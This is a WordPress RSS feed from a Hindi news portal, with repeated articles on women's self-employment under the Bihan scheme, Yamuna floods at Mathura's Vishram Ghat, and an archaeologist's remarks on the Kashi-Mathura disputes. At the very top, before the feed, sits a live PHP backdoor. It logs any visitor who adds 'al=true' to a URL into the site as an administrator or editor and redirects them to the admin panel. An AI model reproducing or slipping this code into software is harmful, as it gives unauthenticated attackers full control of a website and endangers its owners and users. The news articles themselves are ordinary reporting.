// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Mathura – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Wed, 08 Apr 2026 07:06:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 आत्मनिर्भरता की मिसाल बनीं ग्रामीण महिलाएं, गृह उद्योग और हस्तशिल्प से संवर रहा भविष्य https://pratyushaashakinayikiran.com/?p=211098 Wed, 08 Apr 2026 07:06:00 +0000 https://pratyushaashakinayikiran.com/?p=211098 आत्मनिर्भरता की मिसाल बनीं ग्रामीण महिलाएं
गृह उद्योग और हस्तशिल्प से संवर रहा भविष्य

रायपुर
 राष्ट्रीय ग्रामीण आजीविका मिशन (बिहान) के प्रभावी क्रियान्वयन से रायगढ़ जिले की ग्रामीण महिलाएं आज आत्मनिर्भरता की दिशा में उल्लेखनीय उपलब्धियां हासिल कर रही हैं। यह योजना महिलाओं को न केवल आर्थिक रूप से सशक्त बना रही है, बल्कि उन्हें आत्मविश्वास, कौशल और सामाजिक पहचान भी प्रदान कर रही है।

रायगढ़ जिले के ग्राम बड़ेभंडार की निवासी श्रीमती मथुरा कुर्रे इसकी उदाहरण हैं। उन्होंने बताया कि बिहान योजना से जुड़ने के पश्चात उन्हें रिवॉल्विंग फंड एवं कम्युनिटी इन्वेस्टमेंट फंड के तहत आर्थिक सहयोग प्राप्त हुआ। इस सहयोग से उन्होंने घर पर ही अचार, पापड़, बड़ी एवं मसाला निर्माण का कार्य प्रारंभ किया। आज वे अपने उत्पादों का बाजार में विक्रय कर नियमित आय अर्जित कर रही हैं, जिससे उनके परिवार की आर्थिक स्थिति में उल्लेखनीय सुधार हुआ है और वे आत्मनिर्भर बन सकी हैं।

इसी क्रम में ग्राम रूमकेरा, तहसील घरघोड़ा की श्रीमती जमुना सिदार की कहानी भी प्रेरणादायक है। पूर्व में वे एक गृहिणी थीं, किन्तु बिहान योजना से जुड़ने के बाद उन्होंने बांस शिल्प का प्रशिक्षण प्राप्त किया। प्रशिक्षण उपरांत उन्होंने टोकरी, सूपा एवं अन्य हस्तशिल्प उत्पादों का निर्माण प्रारंभ किया। उन्हें विभिन्न मेलों, विशेषकर ‘सरस मेला’ में अपने उत्पादों के प्रदर्शन और विक्रय का अवसर प्राप्त हुआ, जिससे वे अच्छी आय अर्जित कर रही हैं। इससे उनके जीवन स्तर में सकारात्मक परिवर्तन आया है।

राष्ट्रीय ग्रामीण आजीविका मिशन महिलाओं को केवल आर्थिक सहायता ही नहीं, बल्कि कौशल विकास, उद्यमिता और आत्मगौरव का अवसर भी प्रदान कर रहा है। जिले में अनेक महिलाएं इस योजना से जुड़कर स्वरोजगार के माध्यम से अपने जीवन को नई दिशा दे रही हैं।

शासन के मंशानुरूप जिला प्रशासन रायगढ़ द्वारा महिलाओं के आर्थिक सशक्तिकरण हेतु निरंतर प्रयास किए जा रहे हैं। विभिन्न योजनाओं से जोड़कर महिलाओं को स्वावलंबी बनाया जा रहा है, जिससे वे न केवल अपने परिवार की आय में वृद्धि कर रही हैं, बल्कि समाज में एक सशक्त भूमिका भी निभा रही हैं।

बिहान योजना आज जिले में महिला सशक्तिकरण का सशक्त माध्यम बनी है, जो ग्रामीण अर्थव्यवस्था को मजबूती प्रदान करते हुए आत्मनिर्भर भारत के संकल्प को साकार करने की दिशा में महत्वपूर्ण योगदान दे रही है।

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आत्मनिर्भरता की मिसाल बनीं ग्रामीण महिलाएं, गृह उद्योग और हस्तशिल्प से संवर रहा भविष्य https://pratyushaashakinayikiran.com/?p=211099 Wed, 08 Apr 2026 07:06:00 +0000 https://pratyushaashakinayikiran.com/?p=211099 आत्मनिर्भरता की मिसाल बनीं ग्रामीण महिलाएं
गृह उद्योग और हस्तशिल्प से संवर रहा भविष्य

रायपुर
 राष्ट्रीय ग्रामीण आजीविका मिशन (बिहान) के प्रभावी क्रियान्वयन से रायगढ़ जिले की ग्रामीण महिलाएं आज आत्मनिर्भरता की दिशा में उल्लेखनीय उपलब्धियां हासिल कर रही हैं। यह योजना महिलाओं को न केवल आर्थिक रूप से सशक्त बना रही है, बल्कि उन्हें आत्मविश्वास, कौशल और सामाजिक पहचान भी प्रदान कर रही है।

रायगढ़ जिले के ग्राम बड़ेभंडार की निवासी श्रीमती मथुरा कुर्रे इसकी उदाहरण हैं। उन्होंने बताया कि बिहान योजना से जुड़ने के पश्चात उन्हें रिवॉल्विंग फंड एवं कम्युनिटी इन्वेस्टमेंट फंड के तहत आर्थिक सहयोग प्राप्त हुआ। इस सहयोग से उन्होंने घर पर ही अचार, पापड़, बड़ी एवं मसाला निर्माण का कार्य प्रारंभ किया। आज वे अपने उत्पादों का बाजार में विक्रय कर नियमित आय अर्जित कर रही हैं, जिससे उनके परिवार की आर्थिक स्थिति में उल्लेखनीय सुधार हुआ है और वे आत्मनिर्भर बन सकी हैं।

इसी क्रम में ग्राम रूमकेरा, तहसील घरघोड़ा की श्रीमती जमुना सिदार की कहानी भी प्रेरणादायक है। पूर्व में वे एक गृहिणी थीं, किन्तु बिहान योजना से जुड़ने के बाद उन्होंने बांस शिल्प का प्रशिक्षण प्राप्त किया। प्रशिक्षण उपरांत उन्होंने टोकरी, सूपा एवं अन्य हस्तशिल्प उत्पादों का निर्माण प्रारंभ किया। उन्हें विभिन्न मेलों, विशेषकर ‘सरस मेला’ में अपने उत्पादों के प्रदर्शन और विक्रय का अवसर प्राप्त हुआ, जिससे वे अच्छी आय अर्जित कर रही हैं। इससे उनके जीवन स्तर में सकारात्मक परिवर्तन आया है।

राष्ट्रीय ग्रामीण आजीविका मिशन महिलाओं को केवल आर्थिक सहायता ही नहीं, बल्कि कौशल विकास, उद्यमिता और आत्मगौरव का अवसर भी प्रदान कर रहा है। जिले में अनेक महिलाएं इस योजना से जुड़कर स्वरोजगार के माध्यम से अपने जीवन को नई दिशा दे रही हैं।

शासन के मंशानुरूप जिला प्रशासन रायगढ़ द्वारा महिलाओं के आर्थिक सशक्तिकरण हेतु निरंतर प्रयास किए जा रहे हैं। विभिन्न योजनाओं से जोड़कर महिलाओं को स्वावलंबी बनाया जा रहा है, जिससे वे न केवल अपने परिवार की आय में वृद्धि कर रही हैं, बल्कि समाज में एक सशक्त भूमिका भी निभा रही हैं।

बिहान योजना आज जिले में महिला सशक्तिकरण का सशक्त माध्यम बनी है, जो ग्रामीण अर्थव्यवस्था को मजबूती प्रदान करते हुए आत्मनिर्भर भारत के संकल्प को साकार करने की दिशा में महत्वपूर्ण योगदान दे रही है।

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मथुरा में बाढ़ का प्रकोप: कंस वध के बाद कृष्ण का विश्राम स्थल घाट डूबा https://pratyushaashakinayikiran.com/?p=183131 Fri, 05 Sep 2025 07:16:00 +0000 https://pratyushaashakinayikiran.com/?p=183131 मथुरा 

मथुरा में यमुना नदी में आई बाढ़ का असर साफ दिखाई दे रहा है. विश्राम घाट भी इस बाढ़ की चपेट में है. यमुना के पानी ने पूरे घाट को अपनी आगोश में ले लिया. घाट के गुम्बद और पिलर पानी में डूब गए हैं. ये वही घाट है जहां भगवान कृष्ण ने कंस का वध करने के बाद विश्राम किया था. तब इसे विश्राम घाट के नाम से जाना जाता है. लोगों ने बताया कि बाढ़ के कारण हालत खराब है. हालांकि, श्रद्धालु अभी भी पूजा करने के लिए इस घाट पर आ रहे हैं. 

विश्राम घाट की स्थिति

स्थानीय लोगों के अनुसार, यमुना का जलस्तर बढ़ने से मथुरा के हालात बिगड़ गए हैं. ऐतिहासिक विश्राम घाट पानी में समा गया है. घाट पर बने मंदिर और उनके पिलर भी पानी में डूबे हुए हैं. पानी घाट के गुम्बद के करीब पहुंच गया है. घाट के बीच से बहता पानी लोगों को बाढ़ की भयावहता दिखा रहा है. 

आस्था और हिम्मत का संगम

बाढ़ की इस स्थिति के बावजूद, लोगों की आस्था और हिम्मत बरकरार है. श्रद्धालु घुटनों तक पानी में खड़े होकर भी पूजा-पाठ कर रहे हैं. इस दृश्य से पता चलता है कि बाढ़ भी श्रद्धालुओं की आस्था को डिगा नहीं पाई है. घाट पर मौजूद लोग इस गंभीर स्थिति में भी अपनी धार्मिक परंपराओं को निभा रहे हैं.

बाढ़ से ब्रज बेहाल

आपको बता दें कि ब्रज में कालिंदी रौद्र रूप दिखा रही हैं. ताजेवाला और ओखला से पाने छोड़े जाने के बाद मथुरा में यमुना का जलस्तर लगातार बढ़ रहा है. नदी खतरे से 50 सेमी ऊपर बह रही है. दर्जनों गांव टापू बन गए हैं. प्रशासन लगातार राहत बचाव कार्य में लगा हुआ है. यमुना में डूबे हुए घर और मंदिर दूर से ही नजर आ रहे हैं. 

गौरतलब है कि लगातार बढ़ रहे जलस्तर से कई कॉलोनियों और सैकड़ों घरों में यमुना के पानी प्रवेश कर जाने से स्थिति भयावह होती जा रही है. जयसिंहपुरा इलाके में एक नहीं सैकड़ों घरों में यमुना का पानी प्रवेश कर गया है और पूरा इलाका जलमग्न हो गया है. जिसके कारण लोग पलायन को मजबूर हैं. कई घरों में ताले पड़े हुए हैं. जिला प्रशासन बढ़ रहे जलस्तर को देखते हुए पूरी तरह सजग और सतर्क है.

बाढ़ ग्रस्त इलाकों से लोगों को रेस्क्यू कर स्टीमर और नावों के माध्यम से सुरक्षित स्थानों पर भेजा जा रहा है. मथुरा में यमुना के बढ़ते जलस्तर ने वृंदावन से लेकर गोकुल तक कोहराम मचा दिया है. प्रशासन 5 बाढ़ राहत केंद्रों की स्थापना करके लोगों को सुरक्षित स्थानों पर पहुंचा रहा है. 

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मथुरा में बाढ़ का प्रकोप: कंस वध के बाद कृष्ण का विश्राम स्थल घाट डूबा https://pratyushaashakinayikiran.com/?p=183133 Fri, 05 Sep 2025 07:16:00 +0000 https://pratyushaashakinayikiran.com/?p=183133 मथुरा 

मथुरा में यमुना नदी में आई बाढ़ का असर साफ दिखाई दे रहा है. विश्राम घाट भी इस बाढ़ की चपेट में है. यमुना के पानी ने पूरे घाट को अपनी आगोश में ले लिया. घाट के गुम्बद और पिलर पानी में डूब गए हैं. ये वही घाट है जहां भगवान कृष्ण ने कंस का वध करने के बाद विश्राम किया था. तब इसे विश्राम घाट के नाम से जाना जाता है. लोगों ने बताया कि बाढ़ के कारण हालत खराब है. हालांकि, श्रद्धालु अभी भी पूजा करने के लिए इस घाट पर आ रहे हैं. 

विश्राम घाट की स्थिति

स्थानीय लोगों के अनुसार, यमुना का जलस्तर बढ़ने से मथुरा के हालात बिगड़ गए हैं. ऐतिहासिक विश्राम घाट पानी में समा गया है. घाट पर बने मंदिर और उनके पिलर भी पानी में डूबे हुए हैं. पानी घाट के गुम्बद के करीब पहुंच गया है. घाट के बीच से बहता पानी लोगों को बाढ़ की भयावहता दिखा रहा है. 

आस्था और हिम्मत का संगम

बाढ़ की इस स्थिति के बावजूद, लोगों की आस्था और हिम्मत बरकरार है. श्रद्धालु घुटनों तक पानी में खड़े होकर भी पूजा-पाठ कर रहे हैं. इस दृश्य से पता चलता है कि बाढ़ भी श्रद्धालुओं की आस्था को डिगा नहीं पाई है. घाट पर मौजूद लोग इस गंभीर स्थिति में भी अपनी धार्मिक परंपराओं को निभा रहे हैं.

बाढ़ से ब्रज बेहाल

आपको बता दें कि ब्रज में कालिंदी रौद्र रूप दिखा रही हैं. ताजेवाला और ओखला से पाने छोड़े जाने के बाद मथुरा में यमुना का जलस्तर लगातार बढ़ रहा है. नदी खतरे से 50 सेमी ऊपर बह रही है. दर्जनों गांव टापू बन गए हैं. प्रशासन लगातार राहत बचाव कार्य में लगा हुआ है. यमुना में डूबे हुए घर और मंदिर दूर से ही नजर आ रहे हैं. 

गौरतलब है कि लगातार बढ़ रहे जलस्तर से कई कॉलोनियों और सैकड़ों घरों में यमुना के पानी प्रवेश कर जाने से स्थिति भयावह होती जा रही है. जयसिंहपुरा इलाके में एक नहीं सैकड़ों घरों में यमुना का पानी प्रवेश कर गया है और पूरा इलाका जलमग्न हो गया है. जिसके कारण लोग पलायन को मजबूर हैं. कई घरों में ताले पड़े हुए हैं. जिला प्रशासन बढ़ रहे जलस्तर को देखते हुए पूरी तरह सजग और सतर्क है.

बाढ़ ग्रस्त इलाकों से लोगों को रेस्क्यू कर स्टीमर और नावों के माध्यम से सुरक्षित स्थानों पर भेजा जा रहा है. मथुरा में यमुना के बढ़ते जलस्तर ने वृंदावन से लेकर गोकुल तक कोहराम मचा दिया है. प्रशासन 5 बाढ़ राहत केंद्रों की स्थापना करके लोगों को सुरक्षित स्थानों पर पहुंचा रहा है. 

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आर्कियोलॉजिस्ट केके मोहम्मद ने कहा, हिंदुओं को दे देना चाहिए काशी और मथुरा https://pratyushaashakinayikiran.com/?p=76263 Fri, 27 Sep 2024 18:06:00 +0000 https://pratyushaashakinayikiran.com/?p=76263 लखनऊ
 मशहूर आर्कियोलॉजिस्ट केके मोहम्मद ने काशी-मथुरा को लेकर चल रहे विवाद के बीच बड़ा बयान दिया है। राम जन्मभूमि मंदिर के बारे में जांच के बाद अहम निष्कर्ष निकालने वाले पुरातत्वविद का बयान सामने आया है। उन्होंने काशी-मथुरा विवाद पर कहा कि मुसलमान बड़ा दिल दिखाएं। काशी-मथुरा को हिंदुओं को सौंप दें। कासी-मथुरा में हिंदुओं की आस्था है। केके मोहम्मद ने देश के सेक्युलर छवि का भी जिक्र किया। उन्होंने कहा कि हिंदुओं की वजह से भारत सेक्युलर देश है। इसके लिए मुसलमानों को हमेशा शुक्रगुजार होना चाहिए। मुसलमान के लिए पाकिस्तान बना था।

पुरातत्वविद ने कहा कि मुसलमानों को बड़ा दिल दिखाने की जरूरत है। हिंदुओं की आस्था के प्रतीक पर अपना दावा छोड़ देना चाहिए। उन्होंने कहा कि भारत धर्मनिरपेक्ष देश केवल इस वजह से है, क्योंकि बहुसंख्यक आबादी हिंदुओं की है। अगर यहां पर मुसलमान बहुसंख्यक होते तो भारत की धर्मनिरपेक्ष छवि को बचाए रख पाना मुश्किल होता। उन्होंने कहा कि आजादी के बाद मुसलमानों के लिए अलग देश पाकिस्तान बना। हिंदुओं को भारत दिया गया। लेकिन, उन्होंने इसे हिंदु देश नहीं बनाया। इसके लिए हमें उनका शुक्रगुजार होना चाहिए।

राम मंदिर में रही थी फाइनल फाइंडिंग

केके मोहम्मद ने राम मंदिर-बाबरी मस्जिद विवाद में बड़ी भूमिका निभाई। ऑर्कियोलॉजिकल सर्वे के दौरान उन्हें बाबरी मस्जिद के पश्चिमी हिस्से में एक मंदिर के अवशेष मिले थे। इसका निर्माण 10वीं और 11वीं शताब्दी के बीच गुर्जर-प्रतिहार राजवंश ने कराया था। आर्कियोलॉजिस्ट केके मोहम्मद ने कहा है कि मुसलमानों को ज्ञानवापी और शाही ईदगाह मस्जिदों को हिंदुओं को सौंप देना चाहिए।

2012 में हुए थे रिटायर

केके मोहम्मद भारतीय पुरातत्व सर्वेक्षण के नॉर्थ जोन के क्षेत्रीय निदेशक के पद पर 2012 में रिटायर हुए। केके मोहम्मद 1976 में बीबी लाल की उस टीम का हिस्सा थे, जिसने बाबरी मस्जिद की खुदाई की थी। केके मोहम्मद का कहना है कि ज्ञानवापी और मथुरा की शादी ईदगाह पर कहा कि इन्हें हिंदुओं को सौंपना ही इस मुद्दे का एकमात्र समाधान है।

केके मोहम्मद ने कहा कि सभी धर्मगुरुओं को एकजुट होकर इन संरचनाओं को हिंदू समुदाय को सौंप देना चाहिए। काशी, मथुरा और अयोध्या हिंदुओं के लिए बहुत खास हैं, क्योंकि ये भगवान शिव, भगवान कृष्ण और भगवान श्रीराम के जीवन से जुड़े हैं। यहां बनी मस्जिदों के लिए मुसलमानों की कोई भावना नहीं है।

लगातार गरमाया हुआ है मामला

वाराणसी में श्रीकाशी विश्वनाथ मंदिर-ज्ञानवापी केस लगातार विवादों में है। वहीं, मथुरा के श्रीकृष्ण जन्मभूमि-शाही ईदगाह मस्जिद केस का मामला भी चर्चा में है। दोनों मामलों में लगातार कोर्ट में सुनवाई चल रही है। ज्ञानवापी के सर्वे का मुद्दा पिछले दिनों गरमाया रहा है। वहीं, शाही ईदगाह से जुड़े मामलों की एक साथ सुनवाई की तैयारी है। इस बीच केके मोहम्मद का बयान चर्चा में आ गया है।

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